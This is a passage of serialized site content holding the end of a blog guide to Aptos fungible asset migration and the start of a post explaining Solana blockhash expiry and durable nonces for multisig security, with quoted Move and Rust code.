symbol",{"type":24,"tag":147,"props":72754,"children":72755},{"style":235},[72756],{"type":29,"value":3583},{"type":24,"tag":147,"props":72758,"children":72759},{"style":9044},[72760],{"type":29,"value":12209},{"type":24,"tag":147,"props":72762,"children":72763},{"style":235},[72764],{"type":29,"value":72744},{"type":24,"tag":147,"props":72766,"children":72767},{"class":149,"line":205},[72768,72773,72777,72781],{"type":24,"tag":147,"props":72769,"children":72770},{"style":247},[72771],{"type":29,"value":72772},"    decimals",{"type":24,"tag":147,"props":72774,"children":72775},{"style":235},[72776],{"type":29,"value":3583},{"type":24,"tag":147,"props":72778,"children":72779},{"style":9044},[72780],{"type":29,"value":12209},{"type":24,"tag":147,"props":72782,"children":72783},{"style":235},[72784],{"type":29,"value":72744},{"type":24,"tag":147,"props":72786,"children":72787},{"class":149,"line":214},[72788,72793,72797,72802,72806,72811],{"type":24,"tag":147,"props":72789,"children":72790},{"style":235},[72791],{"type":29,"value":72792},"    string",{"type":24,"tag":147,"props":72794,"children":72795},{"style":241},[72796],{"type":29,"value":9106},{"type":24,"tag":147,"props":72798,"children":72799},{"style":229},[72800],{"type":29,"value":72801},"utf8",{"type":24,"tag":147,"props":72803,"children":72804},{"style":235},[72805],{"type":29,"value":480},{"type":24,"tag":147,"props":72807,"children":72808},{"style":3534},[72809],{"type":29,"value":72810},"b\"\"",{"type":24,"tag":147,"props":72812,"children":72813},{"style":235},[72814],{"type":29,"value":12362},{"type":24,"tag":147,"props":72816,"children":72817},{"class":149,"line":272},[72818,72822,72826,72830,72834,72838],{"type":24,"tag":147,"props":72819,"children":72820},{"style":235},[72821],{"type":29,"value":72792},{"type":24,"tag":147,"props":72823,"children":72824},{"style":241},[72825],{"type":29,"value":9106},{"type":24,"tag":147,"props":72827,"children":72828},{"style":229},[72829],{"type":29,"value":72801},{"type":24,"tag":147,"props":72831,"children":72832},{"style":235},[72833],{"type":29,"value":480},{"type":24,"tag":147,"props":72835,"children":72836},{"style":3534},[72837],{"type":29,"value":72810},{"type":24,"tag":147,"props":72839,"children":72840},{"style":235},[72841],{"type":29,"value":12362},{"type":24,"tag":147,"props":72843,"children":72844},{"class":149,"line":281},[72845],{"type":24,"tag":147,"props":72846,"children":72847},{"style":235},[72848],{"type":29,"value":1473},{"type":24,"tag":147,"props":72850,"children":72851},{"class":149,"line":299},[72852,72856,72860],{"type":24,"tag":147,"props":72853,"children":72854},{"style":235},[72855],{"type":29,"value":9358},{"type":24,"tag":147,"props":72857,"children":72858},{"style":241},[72859],{"type":29,"value":15212},{"type":24,"tag":147,"props":72861,"children":72862},{"style":235},[72863],{"type":29,"value":17391},{"type":24,"tag":25,"props":72865,"children":72866},{},[72867,72869,72874],{"type":29,"value":72868},"When the linked fungible asset was created, the current ",{"type":24,"tag":80,"props":72870,"children":72872},{"className":72871},[],[72873],{"type":29,"value":66548},{"type":29,"value":72875}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":24,"tag":25,"props":72877,"children":72878},{},[72879,72881,72886,72888,72894,72896,72901],{"type":29,"value":72880},"Users can manually migrate their ",{"type":24,"tag":80,"props":72882,"children":72884},{"className":72883},[],[72885],{"type":29,"value":66710},{"type":29,"value":72887}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":24,"tag":80,"props":72889,"children":72891},{"className":72890},[],[72892],{"type":29,"value":72893},"\u003CCoinStore\u003CCoinType>>",{"type":29,"value":72895}," from the caller. All coins in the ",{"type":24,"tag":80,"props":72897,"children":72899},{"className":72898},[],[72900],{"type":29,"value":66710},{"type":29,"value":72902}," are exchanged and transferred to the new store during the migration.",{"type":24,"tag":137,"props":72904,"children":72906},{"className":8614,"code":72905,"language":8613,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[72907],{"type":24,"tag":80,"props":72908,"children":72909},{"__ignoreMap":7},[72910,72918,72950,72970,73006,73047],{"type":24,"tag":147,"props":72911,"children":72912},{"class":149,"line":150},[72913],{"type":24,"tag":147,"props":72914,"children":72915},{"style":154},[72916],{"type":29,"value":72917},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":24,"tag":147,"props":72919,"children":72920},{"class":149,"line":160},[72921,72925,72929,72933,72938,72942,72946],{"type":24,"tag":147,"props":72922,"children":72923},{"style":247},[72924],{"type":29,"value":67257},{"type":24,"tag":147,"props":72926,"children":72927},{"style":247},[72928],{"type":29,"value":68224},{"type":24,"tag":147,"props":72930,"children":72931},{"style":247},[72932],{"type":29,"value":11832},{"type":24,"tag":147,"props":72934,"children":72935},{"style":247},[72936],{"type":29,"value":72937}," migrate_to_fungible_store",{"type":24,"tag":147,"props":72939,"children":72940},{"style":235},[72941],{"type":29,"value":3583},{"type":24,"tag":147,"props":72943,"children":72944},{"style":9044},[72945],{"type":29,"value":12209},{"type":24,"tag":147,"props":72947,"children":72948},{"style":235},[72949],{"type":29,"value":12214},{"type":24,"tag":147,"props":72951,"children":72952},{"class":149,"line":169},[72953,72957,72961,72965],{"type":24,"tag":147,"props":72954,"children":72955},{"style":247},[72956],{"type":29,"value":30772},{"type":24,"tag":147,"props":72958,"children":72959},{"style":241},[72960],{"type":29,"value":978},{"type":24,"tag":147,"props":72962,"children":72963},{"style":241},[72964],{"type":29,"value":12767},{"type":24,"tag":147,"props":72966,"children":72967},{"style":247},[72968],{"type":29,"value":72969},"signer\n",{"type":24,"tag":147,"props":72971,"children":72972},{"class":149,"line":178},[72973,72977,72981,72985,72989,72994,72998,73002],{"type":24,"tag":147,"props":72974,"children":72975},{"style":235},[72976],{"type":29,"value":564},{"type":24,"tag":147,"props":72978,"children":72979},{"style":247},[72980],{"type":29,"value":11969},{"type":24,"tag":147,"props":72982,"children":72983},{"style":9044},[72984],{"type":29,"value":66731},{"type":24,"tag":147,"props":72986,"children":72987},{"style":235},[72988],{"type":29,"value":546},{"type":24,"tag":147,"props":72990,"children":72991},{"style":9044},[72992],{"type":29,"value":72993},"CoinConversionMap",{"type":24,"tag":147,"props":72995,"children":72996},{"style":235},[72997],{"type":29,"value":546},{"type":24,"tag":147,"props":72999,"children":73000},{"style":9044},[73001],{"type":29,"value":12339},{"type":24,"tag":147,"props":73003,"children":73004},{"style":235},[73005],{"type":29,"value":6630},{"type":24,"tag":147,"props":73007,"children":73008},{"class":149,"line":187},[73009,73014,73018,73022,73027,73031,73035,73039,73043],{"type":24,"tag":147,"props":73010,"children":73011},{"style":247},[73012],{"type":29,"value":73013},"    maybe_convert_to_fungible_store",{"type":24,"tag":147,"props":73015,"children":73016},{"style":235},[73017],{"type":29,"value":3583},{"type":24,"tag":147,"props":73019,"children":73020},{"style":9044},[73021],{"type":29,"value":12209},{"type":24,"tag":147,"props":73023,"children":73024},{"style":235},[73025],{"type":29,"value":73026},">(signer",{"type":24,"tag":147,"props":73028,"children":73029},{"style":241},[73030],{"type":29,"value":9106},{"type":24,"tag":147,"props":73032,"children":73033},{"style":229},[73034],{"type":29,"value":12835},{"type":24,"tag":147,"props":73036,"children":73037},{"style":235},[73038],{"type":29,"value":480},{"type":24,"tag":147,"props":73040,"children":73041},{"style":247},[73042],{"type":29,"value":18570},{"type":24,"tag":147,"props":73044,"children":73045},{"style":235},[73046],{"type":29,"value":12849},{"type":24,"tag":147,"props":73048,"children":73049},{"class":149,"line":196},[73050],{"type":24,"tag":147,"props":73051,"children":73052},{"style":235},[73053],{"type":29,"value":827},{"type":24,"tag":25,"props":73055,"children":73056},{},[73057,73059,73064,73066,73071],{"type":29,"value":73058},"A curious reader might wonder about the fate of the ",{"type":24,"tag":80,"props":73060,"children":73062},{"className":73061},[],[73063],{"type":29,"value":66710},{"type":29,"value":73065}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":24,"tag":80,"props":73067,"children":73069},{"className":73068},[],[73070],{"type":29,"value":66710},{"type":29,"value":73072}," to ensure consistency.",{"type":24,"tag":71767,"props":73074,"children":73075},{},[73076,73095],{"type":24,"tag":25,"props":73077,"children":73078},{},[73079,73081,73086,73088,73093],{"type":29,"value":73080},"Could an attacker convert their ",{"type":24,"tag":80,"props":73082,"children":73084},{"className":73083},[],[73085],{"type":29,"value":66710},{"type":29,"value":73087}," to a primary fungible store and then register another ",{"type":24,"tag":80,"props":73089,"children":73091},{"className":73090},[],[73092],{"type":29,"value":66710},{"type":29,"value":73094}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":24,"tag":71798,"props":73096,"children":73097},{"v-slot:answer-0":7},[73098],{"type":24,"tag":25,"props":73099,"children":73100},{},[73101],{"type":29,"value":73102},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":24,"tag":32,"props":73104,"children":73105},{"id":8458},[73106],{"type":29,"value":8461},{"type":24,"tag":25,"props":73108,"children":73109},{},[73110,73112,73117],{"type":29,"value":73111},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":24,"tag":80,"props":73113,"children":73115},{"className":73114},[],[73116],{"type":29,"value":66548},{"type":29,"value":87},{"type":24,"tag":25,"props":73119,"children":73120},{},[73121],{"type":29,"value":73122},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":24,"tag":25,"props":73124,"children":73125},{},[73126,73128],{"type":29,"value":73127},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":24,"tag":21085,"props":73129,"children":73130},{},[73131],{"type":24,"tag":2773,"props":73132,"children":73134},{"href":35224,"ariaDescribedBy":73133,"dataFootnoteRef":7,"id":35226},[21092],[73135],{"type":29,"value":1154},{"type":24,"tag":24029,"props":73137,"children":73139},{"className":73138,"dataFootnotes":7},[24032],[73140,73145],{"type":24,"tag":32,"props":73141,"children":73143},{"className":73142,"id":21092},[24037],[73144],{"type":29,"value":24040},{"type":24,"tag":2674,"props":73146,"children":73147},{},[73148],{"type":24,"tag":2678,"props":73149,"children":73150},{"id":35967},[73151,73153,73195],{"type":29,"value":73152},"There are at least four functions that can withdraw a fungible asset:",{"type":24,"tag":22292,"props":73154,"children":73155},{},[73156,73166,73175,73185],{"type":24,"tag":2678,"props":73157,"children":73158},{},[73159],{"type":24,"tag":2773,"props":73160,"children":73164},{"href":73161,"rel":73162,":style":73163},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[2777],"color: #007bff;",[73165],{"type":29,"value":69848},{"type":24,"tag":2678,"props":73167,"children":73168},{},[73169],{"type":24,"tag":2773,"props":73170,"children":73173},{"href":73171,"rel":73172,":style":73163},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[2777],[73174],{"type":29,"value":71788},{"type":24,"tag":2678,"props":73176,"children":73177},{},[73178],{"type":24,"tag":2773,"props":73179,"children":73182},{"href":73180,"rel":73181,":style":73163},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[2777],[73183],{"type":29,"value":73184},"primary_fungible_store::withdraw",{"type":24,"tag":2678,"props":73186,"children":73187},{},[73188],{"type":24,"tag":2773,"props":73189,"children":73192},{"href":73190,"rel":73191,":style":73163},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[2777],[73193],{"type":29,"value":73194},"coin::withdraw",{"type":24,"tag":2773,"props":73196,"children":73198},{"href":35995,"ariaLabel":24143,"className":73197,"dataFootnoteBackref":7},[24145],[73199],{"type":29,"value":24148},{"type":24,"tag":8473,"props":73201,"children":73202},{},[73203],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":73205},[73206,73207,73208,73211,73216,73217,73218,73219],{"id":66534,"depth":160,"text":66537},{"id":67079,"depth":160,"text":67082},{"id":67639,"depth":160,"text":67642,"children":73209},[73210],{"id":68150,"depth":169,"text":68153},{"id":68407,"depth":160,"text":68410,"children":73212},[73213,73214,73215],{"id":68450,"depth":169,"text":68453},{"id":69155,"depth":169,"text":69158},{"id":70812,"depth":169,"text":70815},{"id":71343,"depth":160,"text":71346},{"id":72324,"depth":160,"text":72327},{"id":8458,"depth":160,"text":8461},{"id":21092,"depth":160,"text":24040},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":73224,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":73225,"description":73226,"date":73227,"author":11344,"image":73228,"isFeatured":16,"onBlogPage":16,"tags":73230,"body":73231,"_type":8496,"_id":75059,"_source":8498,"_file":75060,"_stem":75061,"_extension":8501},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":73229,"width":11010,"height":11011},"/posts/multisig-security/title.png",[8513],{"type":21,"children":73232,"toc":75050},[73233,73246,73252,73257,73263,73276,73284,73297,73357,73379,73506,73511,73524,73536,73542,73556,73569,73583,74065,74070,74078,74092,74106,74245,74257,74263,74268,74286,74291,74296,74317,74601,74616,74804,74817,74946,74951,74956,74961,74989,74995,75000,75014,75046],{"type":24,"tag":25,"props":73234,"children":73235},{},[73236,73237,73244],{"type":29,"value":5094},{"type":24,"tag":2773,"props":73238,"children":73241},{"href":73239,"rel":73240},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[2777],[73242],{"type":29,"value":73243},"Bybit hack",{"type":29,"value":73245}," raises an interesting question: what can teams do if their signers are compromised?",{"type":24,"tag":32,"props":73247,"children":73249},{"id":73248},"solana-signatures",[73250],{"type":29,"value":73251},"Solana Signatures",{"type":24,"tag":25,"props":73253,"children":73254},{},[73255],{"type":29,"value":73256},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":24,"tag":43,"props":73258,"children":73260},{"id":73259},"recent-blockhash",[73261],{"type":29,"value":73262},"Recent Blockhash",{"type":24,"tag":25,"props":73264,"children":73265},{},[73266,73268,73275],{"type":29,"value":73267},"The most straightforward is with a \"recent blockhash\". From ",{"type":24,"tag":2773,"props":73269,"children":73272},{"href":73270,"rel":73271},"https://solana.com/developers/guides/advanced/confirmation",[2777],[73273],{"type":29,"value":73274},"the docs",{"type":29,"value":978},{"type":24,"tag":98,"props":73277,"children":73278},{},[73279],{"type":24,"tag":25,"props":73280,"children":73281},{},[73282],{"type":29,"value":73283},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":24,"tag":25,"props":73285,"children":73286},{},[73287,73289,73296],{"type":29,"value":73288},"The actual constant ",{"type":24,"tag":2773,"props":73290,"children":73293},{"href":73291,"rel":73292},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[2777],[73294],{"type":29,"value":73295},"is defined here",{"type":29,"value":87},{"type":24,"tag":137,"props":73298,"children":73300},{"className":8614,"code":73299,"language":8613,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[73301],{"type":24,"tag":80,"props":73302,"children":73303},{"__ignoreMap":7},[73304,73312],{"type":24,"tag":147,"props":73305,"children":73306},{"class":149,"line":150},[73307],{"type":24,"tag":147,"props":73308,"children":73309},{"style":154},[73310],{"type":29,"value":73311},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":24,"tag":147,"props":73313,"children":73314},{"class":149,"line":160},[73315,73319,73323,73328,73332,73336,73340,73345,73349,73353],{"type":24,"tag":147,"props":73316,"children":73317},{"style":218},[73318],{"type":29,"value":19307},{"type":24,"tag":147,"props":73320,"children":73321},{"style":218},[73322],{"type":29,"value":44708},{"type":24,"tag":147,"props":73324,"children":73325},{"style":235},[73326],{"type":29,"value":73327}," MAX_PROCESSING_AGE",{"type":24,"tag":147,"props":73329,"children":73330},{"style":241},[73331],{"type":29,"value":978},{"type":24,"tag":147,"props":73333,"children":73334},{"style":9044},[73335],{"type":29,"value":19348},{"type":24,"tag":147,"props":73337,"children":73338},{"style":241},[73339],{"type":29,"value":651},{"type":24,"tag":147,"props":73341,"children":73342},{"style":235},[73343],{"type":29,"value":73344}," MAX_RECENT_BLOCKHASHES ",{"type":24,"tag":147,"props":73346,"children":73347},{"style":241},[73348],{"type":29,"value":10204},{"type":24,"tag":147,"props":73350,"children":73351},{"style":705},[73352],{"type":29,"value":13560},{"type":24,"tag":147,"props":73354,"children":73355},{"style":235},[73356],{"type":29,"value":432},{"type":24,"tag":25,"props":73358,"children":73359},{},[73360,73362,73369,73371,73377],{"type":29,"value":73361},"For those curious, the logic ",{"type":24,"tag":2773,"props":73363,"children":73366},{"href":73364,"rel":73365},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[2777],[73367],{"type":29,"value":73368},"starts here",{"type":29,"value":73370}," and is quite straightforward to follow, ending in a ",{"type":24,"tag":80,"props":73372,"children":73374},{"className":73373},[],[73375],{"type":29,"value":73376},"is_hash_index_valid",{"type":29,"value":73378}," check.",{"type":24,"tag":137,"props":73380,"children":73382},{"className":8614,"code":73381,"language":8613,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[73383],{"type":24,"tag":80,"props":73384,"children":73385},{"__ignoreMap":7},[73386,73465,73499],{"type":24,"tag":147,"props":73387,"children":73388},{"class":149,"line":150},[73389,73393,73398,73402,73407,73411,73415,73419,73424,73428,73432,73436,73441,73445,73449,73453,73457,73461],{"type":24,"tag":147,"props":73390,"children":73391},{"style":218},[73392],{"type":29,"value":25870},{"type":24,"tag":147,"props":73394,"children":73395},{"style":229},[73396],{"type":29,"value":73397}," is_hash_index_valid",{"type":24,"tag":147,"props":73399,"children":73400},{"style":235},[73401],{"type":29,"value":480},{"type":24,"tag":147,"props":73403,"children":73404},{"style":247},[73405],{"type":29,"value":73406},"last_hash_index",{"type":24,"tag":147,"props":73408,"children":73409},{"style":241},[73410],{"type":29,"value":978},{"type":24,"tag":147,"props":73412,"children":73413},{"style":9044},[73414],{"type":29,"value":11484},{"type":24,"tag":147,"props":73416,"children":73417},{"style":235},[73418],{"type":29,"value":546},{"type":24,"tag":147,"props":73420,"children":73421},{"style":247},[73422],{"type":29,"value":73423},"max_age",{"type":24,"tag":147,"props":73425,"children":73426},{"style":241},[73427],{"type":29,"value":978},{"type":24,"tag":147,"props":73429,"children":73430},{"style":9044},[73431],{"type":29,"value":19348},{"type":24,"tag":147,"props":73433,"children":73434},{"style":235},[73435],{"type":29,"value":546},{"type":24,"tag":147,"props":73437,"children":73438},{"style":247},[73439],{"type":29,"value":73440},"hash_index",{"type":24,"tag":147,"props":73442,"children":73443},{"style":241},[73444],{"type":29,"value":978},{"type":24,"tag":147,"props":73446,"children":73447},{"style":9044},[73448],{"type":29,"value":11484},{"type":24,"tag":147,"props":73450,"children":73451},{"style":235},[73452],{"type":29,"value":564},{"type":24,"tag":147,"props":73454,"children":73455},{"style":241},[73456],{"type":29,"value":495},{"type":24,"tag":147,"props":73458,"children":73459},{"style":9044},[73460],{"type":29,"value":17669},{"type":24,"tag":147,"props":73462,"children":73463},{"style":235},[73464],{"type":29,"value":6630},{"type":24,"tag":147,"props":73466,"children":73467},{"class":149,"line":160},[73468,73473,73477,73482,73486,73491,73495],{"type":24,"tag":147,"props":73469,"children":73470},{"style":247},[73471],{"type":29,"value":73472},"    last_hash_index",{"type":24,"tag":147,"props":73474,"children":73475},{"style":241},[73476],{"type":29,"value":1791},{"type":24,"tag":147,"props":73478,"children":73479},{"style":247},[73480],{"type":29,"value":73481}," hash_index",{"type":24,"tag":147,"props":73483,"children":73484},{"style":241},[73485],{"type":29,"value":13823},{"type":24,"tag":147,"props":73487,"children":73488},{"style":247},[73489],{"type":29,"value":73490}," max_age",{"type":24,"tag":147,"props":73492,"children":73493},{"style":218},[73494],{"type":29,"value":14453},{"type":24,"tag":147,"props":73496,"children":73497},{"style":9044},[73498],{"type":29,"value":18814},{"type":24,"tag":147,"props":73500,"children":73501},{"class":149,"line":169},[73502],{"type":24,"tag":147,"props":73503,"children":73504},{"style":235},[73505],{"type":29,"value":827},{"type":24,"tag":25,"props":73507,"children":73508},{},[73509],{"type":29,"value":73510},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":24,"tag":98,"props":73512,"children":73513},{},[73514],{"type":24,"tag":25,"props":73515,"children":73516},{},[73517,73519],{"type":29,"value":73518},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":24,"tag":10949,"props":73520,"children":73521},{},[73522],{"type":29,"value":73523},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":24,"tag":25,"props":73525,"children":73526},{},[73527,73529,73534],{"type":29,"value":73528},"This means an attacker ",{"type":24,"tag":8545,"props":73530,"children":73531},{},[73532],{"type":29,"value":73533},"must use",{"type":29,"value":73535}," a malicious signed transaction within a short timeframe.",{"type":24,"tag":43,"props":73537,"children":73539},{"id":73538},"durable-nonce",[73540],{"type":29,"value":73541},"Durable Nonce",{"type":24,"tag":25,"props":73543,"children":73544},{},[73545,73547,73554],{"type":29,"value":73546},"The second type of signature ",{"type":24,"tag":2773,"props":73548,"children":73551},{"href":73549,"rel":73550},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[2777],[73552],{"type":29,"value":73553},"is a durable nonce",{"type":29,"value":73555},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":24,"tag":98,"props":73557,"children":73558},{},[73559],{"type":24,"tag":25,"props":73560,"children":73561},{},[73562,73564],{"type":29,"value":73563},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":24,"tag":10949,"props":73565,"children":73566},{},[73567],{"type":29,"value":73568},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":24,"tag":25,"props":73570,"children":73571},{},[73572,73574,73581],{"type":29,"value":73573},"If we examine the code ",{"type":24,"tag":2773,"props":73575,"children":73578},{"href":73576,"rel":73577},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[2777],[73579],{"type":29,"value":73580},"for recent blockhash validation",{"type":29,"value":73582},", we can also see the handling for durable nonces.",{"type":24,"tag":137,"props":73584,"children":73586},{"className":8614,"code":73585,"language":8613,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[73587],{"type":24,"tag":80,"props":73588,"children":73589},{"__ignoreMap":7},[73590,73637,73703,73723,73743,73773,73781,73835,73852,73872,73884,73896,73904,73911,73930,73957,73977,73984,73999,74029,74058],{"type":24,"tag":147,"props":73591,"children":73592},{"class":149,"line":150},[73593,73597,73602,73606,73611,73615,73620,73624,73628,73633],{"type":24,"tag":147,"props":73594,"children":73595},{"style":218},[73596],{"type":29,"value":8634},{"type":24,"tag":147,"props":73598,"children":73599},{"style":247},[73600],{"type":29,"value":73601}," recent_blockhash",{"type":24,"tag":147,"props":73603,"children":73604},{"style":241},[73605],{"type":29,"value":651},{"type":24,"tag":147,"props":73607,"children":73608},{"style":247},[73609],{"type":29,"value":73610}," tx",{"type":24,"tag":147,"props":73612,"children":73613},{"style":241},[73614],{"type":29,"value":87},{"type":24,"tag":147,"props":73616,"children":73617},{"style":229},[73618],{"type":29,"value":73619},"message",{"type":24,"tag":147,"props":73621,"children":73622},{"style":235},[73623],{"type":29,"value":19495},{"type":24,"tag":147,"props":73625,"children":73626},{"style":241},[73627],{"type":29,"value":87},{"type":24,"tag":147,"props":73629,"children":73630},{"style":229},[73631],{"type":29,"value":73632},"recent_blockhash",{"type":24,"tag":147,"props":73634,"children":73635},{"style":235},[73636],{"type":29,"value":9295},{"type":24,"tag":147,"props":73638,"children":73639},{"class":149,"line":160},[73640,73644,73648,73652,73656,73661,73665,73669,73674,73678,73683,73687,73691,73695,73699],{"type":24,"tag":147,"props":73641,"children":73642},{"style":321},[73643],{"type":29,"value":4759},{"type":24,"tag":147,"props":73645,"children":73646},{"style":218},[73647],{"type":29,"value":32906},{"type":24,"tag":147,"props":73649,"children":73650},{"style":9044},[73651],{"type":29,"value":32911},{"type":24,"tag":147,"props":73653,"children":73654},{"style":235},[73655],{"type":29,"value":480},{"type":24,"tag":147,"props":73657,"children":73658},{"style":247},[73659],{"type":29,"value":73660},"hash_info",{"type":24,"tag":147,"props":73662,"children":73663},{"style":235},[73664],{"type":29,"value":564},{"type":24,"tag":147,"props":73666,"children":73667},{"style":241},[73668],{"type":29,"value":369},{"type":24,"tag":147,"props":73670,"children":73671},{"style":247},[73672],{"type":29,"value":73673}," hash_queue",{"type":24,"tag":147,"props":73675,"children":73676},{"style":241},[73677],{"type":29,"value":87},{"type":24,"tag":147,"props":73679,"children":73680},{"style":229},[73681],{"type":29,"value":73682},"get_hash_info_if_valid",{"type":24,"tag":147,"props":73684,"children":73685},{"style":235},[73686],{"type":29,"value":480},{"type":24,"tag":147,"props":73688,"children":73689},{"style":247},[73690],{"type":29,"value":73632},{"type":24,"tag":147,"props":73692,"children":73693},{"style":235},[73694],{"type":29,"value":546},{"type":24,"tag":147,"props":73696,"children":73697},{"style":247},[73698],{"type":29,"value":73423},{"type":24,"tag":147,"props":73700,"children":73701},{"style":235},[73702],{"type":29,"value":505},{"type":24,"tag":147,"props":73704,"children":73705},{"class":149,"line":169},[73706,73710,73714,73719],{"type":24,"tag":147,"props":73707,"children":73708},{"style":9044},[73709],{"type":29,"value":20425},{"type":24,"tag":147,"props":73711,"children":73712},{"style":235},[73713],{"type":29,"value":480},{"type":24,"tag":147,"props":73715,"children":73716},{"style":9044},[73717],{"type":29,"value":73718},"CheckedTransactionDetails",{"type":24,"tag":147,"props":73720,"children":73721},{"style":235},[73722],{"type":29,"value":6630},{"type":24,"tag":147,"props":73724,"children":73725},{"class":149,"line":178},[73726,73731,73735,73739],{"type":24,"tag":147,"props":73727,"children":73728},{"style":247},[73729],{"type":29,"value":73730},"            nonce",{"type":24,"tag":147,"props":73732,"children":73733},{"style":241},[73734],{"type":29,"value":978},{"type":24,"tag":147,"props":73736,"children":73737},{"style":9044},[73738],{"type":29,"value":33359},{"type":24,"tag":147,"props":73740,"children":73741},{"style":235},[73742],{"type":29,"value":1549},{"type":24,"tag":147,"props":73744,"children":73745},{"class":149,"line":187},[73746,73751,73755,73760,73764,73769],{"type":24,"tag":147,"props":73747,"children":73748},{"style":247},[73749],{"type":29,"value":73750},"            lamports_per_signature",{"type":24,"tag":147,"props":73752,"children":73753},{"style":241},[73754],{"type":29,"value":978},{"type":24,"tag":147,"props":73756,"children":73757},{"style":247},[73758],{"type":29,"value":73759}," hash_info",{"type":24,"tag":147,"props":73761,"children":73762},{"style":241},[73763],{"type":29,"value":87},{"type":24,"tag":147,"props":73765,"children":73766},{"style":229},[73767],{"type":29,"value":73768},"lamports_per_signature",{"type":24,"tag":147,"props":73770,"children":73771},{"style":235},[73772],{"type":29,"value":9116},{"type":24,"tag":147,"props":73774,"children":73775},{"class":149,"line":196},[73776],{"type":24,"tag":147,"props":73777,"children":73778},{"style":235},[73779],{"type":29,"value":73780},"        })\n",{"type":24,"tag":147,"props":73782,"children":73783},{"class":149,"line":205},[73784,73788,73792,73796,73800,73804,73808,73813,73817,73822,73826,73830],{"type":24,"tag":147,"props":73785,"children":73786},{"style":235},[73787],{"type":29,"value":6620},{"type":24,"tag":147,"props":73789,"children":73790},{"style":321},[73791],{"type":29,"value":6625},{"type":24,"tag":147,"props":73793,"children":73794},{"style":321},[73795],{"type":29,"value":21397},{"type":24,"tag":147,"props":73797,"children":73798},{"style":218},[73799],{"type":29,"value":32906},{"type":24,"tag":147,"props":73801,"children":73802},{"style":9044},[73803],{"type":29,"value":32911},{"type":24,"tag":147,"props":73805,"children":73806},{"style":235},[73807],{"type":29,"value":37123},{"type":24,"tag":147,"props":73809,"children":73810},{"style":247},[73811],{"type":29,"value":73812},"nonce",{"type":24,"tag":147,"props":73814,"children":73815},{"style":235},[73816],{"type":29,"value":546},{"type":24,"tag":147,"props":73818,"children":73819},{"style":247},[73820],{"type":29,"value":73821},"